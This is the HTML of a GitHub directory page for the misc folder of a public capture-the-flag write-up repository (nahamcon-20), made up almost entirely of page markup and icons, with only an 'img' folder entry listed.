16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> noob-atbash </span> <span>/</span> CTF-writeups
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>9</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/noob-atbash/CTF-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268353024,"originating_url":"https://github.com/noob-atbash/CTF-writeups/tree/master/nahamcon-20/misc","user_id":null}}" data-hydro-click-hmac="e4ef32543cd7cb237f63690913ce6f4efa05196100951185e4273b3190c71d01"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/noob-atbash/CTF-writeups/refs" cache-key="v0:1590954931.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="bm9vYi1hdGJhc2gvQ1RGLXdyaXRldXBz" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>misc<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-writeups</span></span></span><span>/</span><span><span>nahamcon-20</span></span><span>/</span>misc<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/noob-atbash/CTF-writeups/tree-commit/3c4f9c25171916f6fb184a5a4972b560aa172298/nahamcon-20/misc" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/noob-atbash/CTF-writeups/file-list/master/nahamcon-20/misc"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="Directory" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file-directory-fill hx_color-icon-directory"> <path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25v-8.5A1.75 1.75 0 0 0 14.25 3H7.5a.25.25 0 0 1-.2-.1l-.9-1.2C6.07 1.26 5.55 1 5 1H1.75Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>img</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
